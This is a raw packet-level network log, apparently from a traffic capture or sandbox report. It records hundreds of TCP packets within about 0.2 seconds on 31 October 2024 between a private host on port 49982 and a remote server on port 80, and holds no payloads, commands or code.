Oct 31, 2024 02:09:13.080734015 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.080735922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080744982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080777884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.080796957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.080853939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080899954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.080907106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080916882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.080966949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.080966949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.081121922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.081134081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.081144094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.081192017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.081192017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.119023085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.119045973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.119056940 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.119096041 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.119107962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.119112968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.119124889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.119136095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.119158030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.119170904 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.119227886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.119240999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.119251966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.119272947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.119302988 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.119360924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.119373083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.119383097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.119410038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.119421005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.134083986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134095907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134108067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134141922 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.134150028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134161949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134161949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.134171963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134203911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.134212017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.134694099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134704113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134711027 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134717941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134743929 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.134767056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134769917 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.134778976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134808064 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.134835958 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.134947062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134965897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134979010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134989977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.134990931 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.135008097 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.135020971 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.135113001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.135123968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.135169983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.135190010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.135200977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.135210991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.135234118 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.135248899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.144274950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144325972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144330978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.144335985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144352913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144365072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144376993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.144390106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144406080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.144439936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.144453049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144494057 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.144527912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144537926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144548893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144561052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144568920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.144575119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144587994 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.144614935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.144646883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144690990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.144711018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144721985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144757032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.144823074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144874096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.144887924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144898891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144908905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144933939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.144939899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144951105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.144957066 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.144987106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145155907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145200014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145207882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145216942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145251036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145262003 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145267963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145278931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145303011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145314932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145339012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145379066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145389080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145418882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145426989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145431042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145471096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145509958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145519972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145560026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145589113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145598888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145637035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145672083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145684004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145694971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145705938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145720005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145731926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145761013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145847082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145859003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145869017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145891905 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145917892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.145984888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.145997047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.146007061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.146037102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.146055937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.171201944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171211004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171221972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171262026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171264887 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.171273947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171283960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171295881 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171307087 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.171330929 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.171341896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171345949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.171385050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.171443939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171484947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171489954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.171495914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171530008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.171576977 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171588898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171601057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171619892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.171648026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.171753883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171766996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171797037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.171801090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171823025 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.171833038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.171854019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.171895981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.195209980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.195240021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.195251942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.195285082 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.195310116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.195384026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.195430040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.195442915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.195452929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.195465088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.195477009 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.195487976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.195489883 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.195517063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.195528030 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.196202993 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.196223974 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.196233988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.196249008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.196261883 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.196835041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.196855068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.196866035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.196881056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.196907043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.196923971 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.196938038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.196949005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.196949005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.196985006 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197017908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197030067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197041988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197061062 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197081089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197364092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197407961 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197439909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197455883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197474957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197484970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197487116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197509050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197515011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197531939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197531939 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197545052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197552919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197556019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197586060 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197770119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197782040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197793007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197810888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197825909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197838068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197838068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197860956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197870016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197901964 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197921038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197932005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197943926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.197946072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197966099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197978973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.197990894 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.235881090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.235930920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.235941887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.235954046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.235960007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.235960960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.235996008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.236006975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.236018896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.236030102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.236037016 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.236054897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.236072063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.236176968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.236196041 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.236221075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.236234903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.236252069 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.236267090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.236270905 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.236279964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.236315966 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.250883102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.250936985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.250947952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.250958920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.250958920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.250967979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.250994921 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.251028061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.251033068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.251036882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.251075983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.251106977 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.251569033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.251604080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.251615047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.251619101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.251626968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.251650095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.251665115 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.251735926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.251746893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.251789093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.251883030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.251893044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.251910925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.251923084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.251929998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.251934052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.251951933 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.251983881 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.252005100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.252015114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.252054930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.252229929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.252242088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.252252102 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.252276897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.252296925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.261229992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261240959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261253119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261264086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261275053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261303902 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.261316061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261327982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261332035 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.261358976 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.261367083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261389017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.261411905 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.261419058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261430025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261470079 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.261491060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261517048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261528969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261534929 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.261560917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261569023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.261573076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261600971 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.261626005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.261790991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261802912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261814117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261840105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.261858940 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.261909008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261920929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261934042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261951923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:13.261961937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:13.261962891 CET	80	49982	154.216.17.34	192.168.2.5
